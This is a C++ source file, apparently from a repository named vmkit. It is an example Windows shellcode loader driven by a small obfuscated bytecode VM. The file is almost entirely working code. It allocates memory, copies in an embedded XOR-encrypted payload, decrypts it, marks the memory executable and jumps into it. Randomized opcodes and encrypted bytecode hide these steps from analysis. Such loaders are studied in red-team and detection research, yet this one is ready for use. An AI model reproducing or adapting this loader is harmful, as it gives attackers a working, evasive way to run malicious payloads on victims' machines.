Files
mochabyte0x-vmkit/example/example_loader.cpp
T
2026-05-10 20:15:59 +02:00

181 lines
6.8 KiB
C++

/*
BSD 2-Clause License
Copyright (c) 2026, MochaByte
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
example_loader.cpp : small Windows shellcode loader driven by vmkit.
Runs a 5-op IR program against an embedded, encrypted shellcode payload:
1. AllocRegion(r=0, size) -> VirtualAlloc(PAGE_READWRITE)
2. WritePayload(r=0, src_off, size) -> memcpy from g_ir_payload (still encrypted)
3. DecryptRegion(r=0, size) -> XOR in place with the seed-derived key
4. ProtectRX(r=0, size) -> VirtualProtect(PAGE_EXECUTE_READ)
5. ExecRegion(r=0) -> cast to fn ptr and jump
Both the bytecode (g_ir_blob) and the shellcode (g_ir_payload) come from
example_builder.cpp, which the Makefile runs against example/payload.bin to
generate example/embedded.h. So this is a real round-trip: builder reads a
raw shellcode + emits encrypted artifacts, loader includes them, decrypts,
and runs ^^.
Build:
make
*/
#include "../vm_loader.hpp"
#include "embedded.h" // generated by example_builder
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <array>
#include <cstring>
enum class LoaderOp : std::uint8_t {
AllocRegion = 0,
WritePayload = 1,
DecryptRegion = 2,
ProtectRX = 3,
ExecRegion = 4,
};
struct LoaderContext {
void* regions[8] = {};
};
using OpT = vmkit::Op<LoaderOp>;
template <>
struct vmkit::Handler<LoaderOp::AllocRegion> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
const SIZE_T size = static_cast<SIZE_T>(op.u64[0]);
ctx.regions[region_id] =
VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
}
};
template <>
struct vmkit::Handler<LoaderOp::WritePayload> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
const std::uint32_t size = op.u32[1];
const std::uint64_t src_off = op.u64[0];
std::memcpy(ctx.regions[region_id], g_ir_payload + src_off, size);
}
};
// Mirror of the builder's derive_key. Both sides MUST agree on this algorithm,
// otherwise decryption produces garbage and we end up jumping into nonsense.
static std::array<std::uint8_t, 32> derive_key(std::uint32_t seed) noexcept {
std::array<std::uint8_t, 32> key{};
constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'};
for (std::size_t i = 0; i < key.size(); ++i) {
key[i] = static_cast<std::uint8_t>(base[i % 6] + (seed & 0xFF) + i * 13);
}
return key;
}
template <>
struct vmkit::Handler<LoaderOp::DecryptRegion> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
const std::size_t size = static_cast<std::size_t>(op.u64[0]);
const auto key = derive_key(g_ir_seed);
vmkit::xor_codec::apply(
std::span<std::uint8_t>(static_cast<std::uint8_t*>(ctx.regions[region_id]), size),
std::span<const std::uint8_t>(key));
}
};
template <>
struct vmkit::Handler<LoaderOp::ProtectRX> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
const SIZE_T size = static_cast<SIZE_T>(op.u64[0]);
DWORD old_protect = 0;
VirtualProtect(ctx.regions[region_id], size, PAGE_EXECUTE_READ, &old_protect);
}
};
template <>
struct vmkit::Handler<LoaderOp::ExecRegion> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
using shellcode_fn = void (*)();
auto fn = reinterpret_cast<shellcode_fn>(ctx.regions[region_id]);
fn();
}
};
struct LoaderConfig : vmkit::DefaultConfig {
// Opcode bytes in g_ir_blob are randomized; map them back through this table.
static constexpr bool opcode_randomization = true;
// g_ir_blob itself is XOR-encrypted; decrypt_bytecode runs once before dispatch.
static constexpr bool bytecode_xor_encrypted = true;
// Inverse of the builder's forward map.
static constexpr vmkit::OpcodeReverseMap opcode_reverse_map = [] {
vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map();
m[0] = static_cast<std::uint8_t>(LoaderOp::DecryptRegion);
m[1] = static_cast<std::uint8_t>(LoaderOp::ProtectRX);
m[2] = static_cast<std::uint8_t>(LoaderOp::WritePayload);
m[3] = static_cast<std::uint8_t>(LoaderOp::ExecRegion);
m[4] = static_cast<std::uint8_t>(LoaderOp::AllocRegion);
return m;
}();
// In-place XOR with the same key the builder used.
static void decrypt_bytecode(std::span<std::uint8_t> blob,
std::uint32_t seed) noexcept {
const auto key = derive_key(seed);
vmkit::xor_codec::apply(blob, std::span<const std::uint8_t>(key));
}
};
int main() {
// Copy the encrypted bytecode from embedded.h into a mutable buffer, since
// execute() decrypts it in place.
std::array<std::uint8_t, sizeof(g_ir_blob)> blob_buf{};
std::memcpy(blob_buf.data(), g_ir_blob, sizeof(g_ir_blob));
LoaderContext ctx{};
vmkit::Vm<LoaderOp, LoaderContext, LoaderConfig,
vmkit::OpcodeList<LoaderOp::AllocRegion,
LoaderOp::WritePayload,
LoaderOp::DecryptRegion,
LoaderOp::ProtectRX,
LoaderOp::ExecRegion>> vm;
vm.execute(std::span<std::uint8_t>(blob_buf), ctx, g_ir_seed);
for (auto* p : ctx.regions) {
if (p) VirtualFree(p, 0, MEM_RELEASE);
}
return 0;
}